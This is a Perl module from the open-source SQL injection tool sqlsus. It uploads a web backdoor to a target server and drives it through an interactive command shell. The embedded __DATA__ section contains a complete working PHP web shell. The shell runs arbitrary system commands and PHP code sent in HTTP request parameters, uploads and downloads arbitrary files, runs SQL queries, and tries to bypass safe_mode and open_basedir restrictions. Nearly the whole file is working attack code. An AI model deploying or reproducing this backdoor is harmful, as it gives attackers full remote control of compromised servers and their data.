package backdoor;

# This file is part of sqlsus
#
# Copyright (c) 2008-2011 Jérémy Ruffet (sativouf)
# http://sqlsus.sourceforge.net/
#
# Licensed under GPLv3+: GNU GPL version 3 or later
# See LICENSE file or http://www.gnu.org/licenses/gpl.html

use warnings;
use strict;

use MIME::Base64;

##################################
sub send_data {
	my $form = shift;

	my $res = $main::browser->post($conf::backdoor, \%{$form});

	if ($res->content !~ /^\x01sqlsus_php_backdoor_(\d+)\.(\d+)\x01/) {
		&msg::error("The backdoor pointed by the variable \"backdoor\" is not a sqlsus backdoor (>= 0.5)");
		return;
	}
	if ($res->content =~ /\x01custom_error\x01(.*)/) {
		my $error = $1;
		$error =~ s/ \[<a href='[^']+'>[^<]+<\/a>\]//;
		&msg::error($error);
		return;
	} else {
		my $content = $res->content;
		$content =~ s/^\x01sqlsus_php_backdoor_.*?\x01//;
		return ($res->code, $content);
	}
}


##################################
sub launch {
	if (not $conf::backdoor) {
		&msg::info("Variable \"backdoor\" not set, trying to upload the backdoor");
		if (&file::upload_backdoor) {
			&msg::info("Backdoor successfully uploaded to $conf::backdoor\n");
		} else {
			&msg::error("Backdoor upload failed.") unless &main::is_interrupted();
			return 0;
		}
	}

	my ($sql_server, $sql_username, $sql_password, $database);

	my $logfile = "$conf::datapath/backdoor.$main::server.log";
	my $mode = "exec";

	&msg::info("Logging backdoor session to $logfile");
	&msg::info("Type \\help for help");
	my @saved_history;
	eval { @saved_history = $main::term->GetHistory(); $main::term->clear_history(); };
	while ( defined (my $query = $_ = $main::term->readline("sqlsus backdoor ($mode)> ")) ) {
		if (/\S/) {
			last if /^\\exit$/;
			&msg::log($logfile, "---\n[" . scalar localtime() . "] [mode=$mode] > $_\n");
			# execute command
			if (/^!(.*)$/) {
				system($1);
				next;
			}
			# change mode / execute command
			if (/^\\/) {
				s/^\\//;
				if (/^(php|exec)/) {
					$mode = $1;
				} elsif (/^sql\s+(\S+)\s+(\S+)\s+(\S+)\s+(\S+)\s*$/) {
					($sql_server, $sql_username, $sql_password, $database) = ($1, $2, $3, $4);
					$mode = "sql";
				} elsif (/^upload\s+(\S+)\s+(\S+)\s*$/) {
					my ($local, $remote) = ($1, $2);

					if (open LOCAL, "<$local") {
						my @local_content = <LOCAL>;
						close LOCAL;
						my %form = ("upload" => $remote, "upload_content" => encode_base64(join '', @local_content));
						&msg::info("$local successfully uploaded to $remote") if defined &send_data(\%form);
					} else {
						&msg::error("Cannot open $local for reading : $!");
					}
				} elsif (/^download\s+(\S+)\s*$/) {
					my $file = $1;
					my ($target_path, $target_file) = &file::get_local_file_target($file);
					last unless $target_file;

					my %form = ("download" => $file);
					my ($code, $content) = &send_data(\%form);

					&file::save_to_local_file($target_path, $target_file, $content);
				} else {
					&msg::error("invalid command or wrong number of arguments \"$_\"") unless /^help$/;
					&help::usage("backdoor");
				}
				next;
			}
			if ($mode eq "sql") {
				if (defined $sql_server) {
					$query = "$sql_server\n$sql_username\n$sql_password\n$database\n$query";
				} else {
					&msg::error("SQL credentials not set, switching mode to exec");
					$mode = "exec";
					next;
				}
			}

			my ($status, @result);

			if ($mode =~ /(php|exec|sql)/) {
				my %form = ("$mode" => $query);
				my ($code, $content) = &send_data(\%form);	
				if ($content) {
					if ($mode eq "sql") {
						if ($content =~ /^\x04(.*)/) {
							&msg::notice($1);
						} else { 
							my ($affected_rows, $content) =  split /\x07/, $content;
							if ($content and ($content !~ /^\x01sqlsus_custom_error\x01/)) {
								my @header = split /\x05/, (split /\x06/, $content)[0];
								my @result = split /\x05/, (split /\x06/, $content)[1];
								print &functions::array_in_a_box(undef, \@header, @result);
								&msg::log($logfile, &functions::array_in_a_box(undef, \@header, @result));
							} else {
								&msg::notice("Query OK, $affected_rows rows affected");
								&msg::log($logfile, "Query OK, $affected_rows rows affected");
							}
						}
					} else {
						$content .= "\n" if $content !~ /\n$/;
						print "$content";
						&msg::log($logfile, "$content");
					}
				}
			}
		}
	}
	print "\n";
	eval { $main::term->SetHistory(@saved_history); };
}

1

__DATA__
<?php

print "\x01sqlsus_php_backdoor_0.7\x01";

set_error_handler("custom_error");

function custom_error($errno, $errstr) {
	print "\x01custom_error\x01$errstr";
	exit;
}

set_time_limit(0);
ob_implicit_flush(1);

/* CVE-2006-4625 */
if (ini_get("safe_mode") or ini_get("open_basedir")) {
	ini_restore("safe_mode");
	ini_restore("open_basedir");
}

function no_magic_quotes($string) {
	if (get_magic_quotes_gpc()){
		$string = stripslashes($string);
	}
	return $string;
} 

function ex($command) {
	$command .= " 2>&1";

	if(function_exists('system')) {
		system($command);
	}
	elseif (function_exists('shell_exec')) {
		echo shell_exec($command);
	}
	elseif (function_exists('passthru')) {
		passthru($command);
	}
	elseif (function_exists('exec')) {
		exec($command, $res);
		echo join("\n", $res);
	}
	elseif (is_resource($f=@popen($command, "r"))) {
		while(!feof($f)) {
			fread($f, 1024);
		}
		pclose($f);
	}
}

if (isset($_REQUEST['upload'])) {
	$local = no_magic_quotes($_REQUEST['upload']);
	$content = base64_decode(no_magic_quotes($_REQUEST['upload_content']));

        fwrite(fopen($local,'w'),$content);
}

if (isset($_REQUEST['download'])) {
	$file = no_magic_quotes($_REQUEST['download']);
	if (function_exists('file_get_contents')) {
		echo file_get_contents($file);
	} else {
		echo fread(fopen($file, 'r'), filesize($file));
	}
}

if (isset($_REQUEST['exec'])) {
	ex(no_magic_quotes($_REQUEST['exec']));
}

if (isset($_REQUEST['php'])) {
	eval(no_magic_quotes($_REQUEST['php']));
}

if (isset($_REQUEST['sql'])) {
	list($server, $user, $pass, $database, $query) = explode("\n", no_magic_quotes($_REQUEST['sql']));

	$dbcnx = mysql_connect($server, $user, $pass);
	if (!$dbcnx) {
		print "\x04" . "Unable to connect to the database server";
		exit;
	} else {
		mysql_select_db("$database", $dbcnx);
	}

	$result = mysql_query($query);

	if (!$result) {
		print "\x04" . mysql_error();
	} else {
		print mysql_affected_rows() . "\x07";

		$first = 1;

		if ($result !== TRUE && $result !== FALSE) {

			while ( $row = mysql_fetch_assoc($result) ) {	
				if ($first) {
					$first = 0;
					foreach ($row as $key => $value) {
						print "$key\x05";
					}
					print "\x06";
				} 

				foreach ($row as $key => $value) {
					echo "$value\x05";
				}
			}
		}
	}
	$query = strtok("\x05");
}
exit;
?>
